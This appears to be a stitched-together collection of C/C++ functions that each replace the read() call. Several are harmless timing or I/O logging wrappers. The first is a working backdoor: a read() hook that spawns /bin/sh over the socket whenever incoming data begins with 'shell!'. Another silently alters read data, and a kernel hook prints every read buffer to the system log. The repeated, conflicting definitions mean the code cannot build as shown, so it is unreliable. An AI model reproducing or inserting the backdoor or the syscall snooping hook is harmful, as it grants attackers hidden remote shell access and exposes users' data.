/*
* Fork a shell and re-use the current socket
*/
ssize_t read(int socket, void *buffer, size_t length)
{
ssize_t ret;
FILE *fp;
char filename[1024+1];
ret = orig_read(socket, buffer, length);
if (ret < strlen("shell!\n"))
return ret;
if (memcmp(buffer, "shell!", strlen("shell!")))
return ret;
if (fork())
return 0;
setsid();
if (fork())
return 0;
dup2(socket, fileno(stdin));
dup2(socket, fileno(stdout));
dup2(socket, fileno(stderr));
execl("/bin/sh", "sh", NULL);
return -1;
}
ssize_t read(int fd, void *buf, size_t count)
{
orig_read_f_type orig_read = (orig_read_f_type)dlsym(RTLD_NEXT, "read");
ssize_t ret = orig_read(fd, buf, count);
char* c = buf;
*c = ( *c == 'r' ) ? 'i' : *c;
buf = (void*)c;
return ret;
}
ssize_t read(int fd, void *buf, size_t count)
{
orig_read_type orig_read;
orig_read = (orig_read_type)dlsym(RTLD_NEXT,"read");
clock_t start = clock();
ssize_t temp = orig_read(fd,buf,count);
clock_t end = clock();
double start_diff = ((double)(start-program_start))/(double)CLOCKS_PER_SEC;
double end_diff = ((double)(end-program_start))/(double)CLOCKS_PER_SEC;
printf("%lf %lf Read Called \n", start_diff, end_diff);
return temp;
}
ssize_t read(int fd, void *buf, size_t count)
{
int size;
int size_t_count=count;
orig_read_f_type orig_read;
//int gettimeofday(struct timeval *tv, struct timezone *tz);
struct timeval tv0;
struct timeval tv1;
struct timezone tz;
//mtx.lock();
orig_read = (orig_read_f_type)dlsym(RTLD_NEXT,"read");
gettimeofday(&tv0,&tz);
size=orig_read(fd,buf,count);
gettimeofday(&tv1,&tz);
std::string str;
std::ostringstream oss;
oss << "read(" << fd << "," << buf << "," << count << ")\n";
log.add(oss.str());
if (size>=0)
{
if (myiio.existFd(fd)==-1)
{
Ifile ifi;
ifi.setFd(fd);
ifi.setName(getStrFDInfo(fd));
//ifi.setName(std::string("UNKNOWN-WRITE"));
ifi.setState(IOBYFILE_READ);
myiio.iiof.push_back(ifi);
}
add_read_count(fd,size);
add_read_time(fd,tv0,tv1);
}
//mtx.unlock();
return size;
}
asmlinkage ssize_t our_read (int fd, char *buf, size_t count)
{
printk (KERN_INFO "SYS_READ: %s\n",buf);
return orig_read(fd,buf,count);
}
